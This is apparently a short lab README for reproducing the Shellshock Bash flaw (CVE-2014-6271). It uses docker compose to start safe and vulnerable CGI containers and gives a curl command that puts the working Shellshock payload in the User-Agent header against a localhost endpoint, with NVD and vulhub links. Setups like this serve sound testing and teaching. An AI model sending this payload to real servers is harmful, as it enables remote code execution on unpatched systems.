GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment.

FILE=safe.cgi docker compose up -d

FILE=vuln.cgi docker compose up -d

For both setup its sufficient to run the following to verify the presence of the vulnerability

curl -H "User-Agent: () { :;}; echo Content-Type: text/plain; echo; /usr/bin/id" http://localhost:1337/test.cgi

• <=4.3

• https://nvd.nist.gov/vuln/detail/CVE-2014-6271
• https://github.com/vulhub/vulhub/tree/master/bash/CVE-2014-6271